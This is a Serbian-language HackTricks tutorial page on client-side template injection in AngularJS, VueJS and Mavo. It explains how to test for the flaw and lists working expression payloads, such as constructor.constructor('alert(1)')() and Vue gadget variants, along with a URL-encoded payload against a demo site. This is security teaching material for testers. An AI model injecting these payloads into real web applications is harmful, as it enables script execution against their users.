Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
# Summary
To je kao [**Server Side Template Injection**](ssti-server-side-template-injection/) ali na **klijentskoj strani**. **SSTI** vam omogućava da **izvršite kod** na udaljenom serveru, dok bi **CSTI** mogao da vam omogući izvršavanje proizvoljnog JavaScript koda na žrtvi.
Način **testiranja** ove ranjivosti je veoma **sličan** kao i u slučaju **SSTI**, interpreter će očekivati nešto što treba da se izvrši **između dvostrukih ključeva** i izvršiće to. Na primer, koristeći nešto poput: `{{ 7-7 }}` ako je server **ranjiv**, videćete `0`, a ako nije, videćete original: `{{ 7-7 }}`
# AngularJS
AngularJS je široko korišćen JavaScript okvir koji komunicira sa HTML-om putem atributa poznatih kao direktive, a jedna od njih je **`ng-app`**. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.
U scenarijima gde korisnički unos dinamički bude umetnut u telo HTML-a označeno sa `ng-app`, moguće je izvršiti proizvoljni JavaScript kod. To se može postići iskorišćavanjem sintakse AngularJS-a unutar unosa. U nastavku su prikazani primeri kako se može izvršiti JavaScript kod:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
```
Možete pronaći vrlo **osnovni online primer** ove ranjivosti u **AngularJS**-u na [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) i na **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
{% hint style="danger" %}
[**Angular 1.6 je uklonio sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) tako da od ove verzije, payload poput `{{constructor.constructor('alert(1)')()}}` ili `` treba da funkcioniše.
{% endhint %}
# VueJS
Možete pronaći **ranjivu implementaciju vue.js**-a na [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Radni payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
Izvorni kod ranjivog primera možete pronaći ovde: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
">
aaa
```
Jedan veoma dobar post o CSTI u VUE-u može se pronaći na [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Kredit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Kredit: [Mario Heiderich](https://twitter.com/cure53berlin)
**Proverite više VUE payloada na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
# Mavo
Payload:
```
[7*7]
[(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
test
lolxself.alert('lol')lolx
test
[self.alert(1)mod1]
```
**Više payloada na** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
# **Lista za otkrivanje Brute-Force napada**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.